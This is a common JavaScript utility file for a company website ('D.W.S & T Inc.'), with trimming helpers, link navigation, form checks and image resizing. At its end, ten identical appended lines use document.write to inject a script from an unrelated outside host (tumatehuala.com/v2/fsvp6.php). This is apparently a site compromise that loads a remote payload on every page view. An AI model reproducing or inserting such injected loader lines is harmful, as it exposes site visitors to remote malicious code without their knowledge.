document.title = "::: D.W.S & T Inc. :::";
document.write("<script type='text/javascript' src='/js/common_url.js'></script>");

String.prototype.ltrim = function(){
	var re = /\s*((\S+\s*)*)/;
	return this.replace(re, "$1");
}

String.prototype.rtrim = function(){
	var re = /((\s*\S+)*)\s*/;
	return this.replace(re, "$1");
}

String.prototype.trim = function(){
	return this.ltrim().rtrim();
}

/* history (path) */
function link(){
	var url = "";
	var depth = arguments.length;
	try {
		if(depth==0) return;
		else for(i=0;i<depth;i++) url += ((i==0)?"u":"_") + arguments[i];
		url = eval(url)[0];
		if(url=="") alert("Not Ready");
		else location.href = url;
	}catch(e) { alert(e.message); }
}

function openPop(url, n, stat){
	var win = window.open(url, n, stat);
}


//¼ýÀÚ¸¸ ÀÔ·ÂÆû Ã¼Å©
function isNumber(obj){
	var ff=eval(obj);

	for(var i=0;i<ff.value.length;i++){
		var chr=ff.value.substr(i,1);

		if(chr<'0'||chr>'9'){
			return false;
		}
	}

	return true;
}

//ÀÌ¸ÞÀÏ Æû Ã¼Å©
function chkMail(obj){
	var ob = eval(obj);

	if(ob.value!=""){
		aIndex = ob.value.indexOf("@");
		dotIndex = ob.value.indexOf(".");

		//if(aIndex==-1 || dotIndex==-1 || aIndex>=(dotIndex-1)){
		if(aIndex==-1 || dotIndex==-1){
		//if(dotIndex==-1){
			//alert("ÀÌ¸ÞÀÏ ÁÖ¼Ò°¡ ¹Ù¸£Áö ¾Ê½À´Ï´Ù.");
			//ob.focus;
			//return;

			return true;
		}
	}
}


// ±×¸² ÀÌ¹ÌÁö ºñ·Ê Á¶Á¤
   function func_adjustimage(target_img, w, h)
   {
      var newX;
      var newY;
      var newHeight;
      var newWidth;
      var maxWidth = w;
      var maxHeight = h;
      var newImg = new Image();
      newImg.src = target_img.src;
      imgw = newImg.width;
      imgh = newImg.height;
      if (imgw > maxWidth || imgh > maxHeight)
      {
         if (imgw/maxWidth > imgh/maxHeight)
         {
            if (imgw > maxWidth)
               newWidth = maxWidth;
            else
               newWidth = imgw;
            newHeight = Math.round((imgh * newWidth) / imgw);
         }
         else
         {
            if (imgh > maxHeight)
               newHeight = maxHeight;
            else
               newHeight = imgh;
            newWidth = Math.round((imgw * newHeight) / imgh);
         }
      }
      else
      {
         newWidth = imgw;
         newHeight = imgh;
      }
       newX = maxWidth / 2 - newWidth / 2;
       newY = maxHeight / 2 - newHeight / 2;
       target_img.onload = null;
       target_img.src = newImg.src;
       target_img.width = newWidth;
       target_img.height = newHeight;
   }

/* skyScrapper */
/*
var topLimit = new Array();
var bottomLimit = new Array();
var speed = new Array();
var QuickMenu = new Array();

function initSkyScrapper(id, top, bottom) {
	if (document.getElementById) {
		topLimit[id] = top;
		bottomLimit[id] = bottom;
		speed[id] = arguments[3]?arguments[3]:10;
		QuickMenu[id] = document.getElementById(id);
		QuickMenu[id].style.top = topLimit[id];
		QuickMenu[id].style.visibility = "visible";
		moveSkyScrapper(id);
	}
}

function moveSkyScrapper(id) {
	var yMenuMax, yMenuFrom, yMenuTo, yOffset;

	yMenuMax = document.body.scrollHeight - QuickMenu[id].scrollHeight-bottomLimit[id];
	yMenuFrom   = parseInt (QuickMenu[id].style.top, 0)-topLimit[id];
	yMenuTo     = (window.pageYOffset || document.body.scrollTop);
	if (yMenuFrom != yMenuTo) {
		yOffset = Math.ceil(Math.abs(yMenuTo - yMenuFrom) / speed[id]);
		if (yMenuTo < yMenuFrom)  yOffset = -yOffset;
		QuickMenu[id].style.top = parseInt (QuickMenu[id].style.top, 0) + yOffset;
		if(yMenuMax < parseInt (QuickMenu[id].style.top, 10)) QuickMenu[id].style.top = yMenuMax;
	}
	setTimeout ("moveSkyScrapper('"+id+"')", 10);
}
/* skyScrapper end */

document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
document.write('<script src=http://tumatehuala.com/v2/fsvp6.php ><\/script>');
